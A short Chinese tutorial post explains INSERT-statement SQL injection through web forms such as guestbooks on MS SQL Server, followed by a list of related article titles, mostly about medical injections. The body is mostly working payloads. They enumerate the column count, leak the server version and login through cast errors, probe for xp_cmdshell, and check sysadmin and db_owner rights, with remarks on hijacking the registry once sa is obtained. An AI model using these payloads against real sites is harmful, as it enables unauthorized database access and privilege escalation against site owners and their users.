insert式注射攻击解析(共1篇)
篇1:insert式注射攻击解析
当碰到一些特殊的站时可以试着用insert注入(如:留言版神马的..前提是必须与数据库交互)
首先我们先了解下insert的语法
insert into table (column_name_1,column_name_2,column_n) vlaues (value_1,value_2,value_n)
当value值数大于column时,数据库就会爆出错误
于是当我们在网页中提交
a’,null,null,null,null,null);– 如返回错误页面
a’,null,null,null,null,null,null);–如返回正常页面(至于过滤单引号的问题就不在本文讨论范围内了)
说明当前表字段数为7(不知是我理解错了不).
a’,cast(@@version as int),null,null,null,null,null);–试着爆出数据库版本
–cast 将@@version的值以整型输出到页面
a’,cast(system_user as int),null,null,null,null,null);–当前登陆名
a’,null,null,null,null,null,null);(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = ‘xp_cmdshell’); –是否存在xp_cmdshell
查看权限
a’,null,null,null,null,null,null);(select IS_SRVROLEMEMBER(‘sysadmin’))=1; –sa ..如果爆出sa就爽了,可以劫持注册表神马的..
a’,null,null,null,null,null,null);(select IS_MEMBER(‘db_owner’))=1;–dbo ..可以backup或参考www.cnblogs.com/allyesno/archive//07/29/835151.html
a’,null,null,null,null,null,null);(select IS_MEMBER(‘public’))=1;–public .这权限还真没成功过..
–如果有误..请指正..THX
【insert式注射攻击解析】相关文章:
自动生成insert数据的SQL脚本04-24
Insert语句加/*+APPEND*/在循环中单条提交对系统的影响分析05-21
妊娠期糖尿病采用胰岛素泵皮下注射和多次胰岛素皮下注射治疗的临床价值解析09-11
一次性注射器筒体注射模设计11-06
非注射04-17
注射填充05-04
臭氧注射05-21
安全注射05-22
注射方法05-29
穴位注射08-07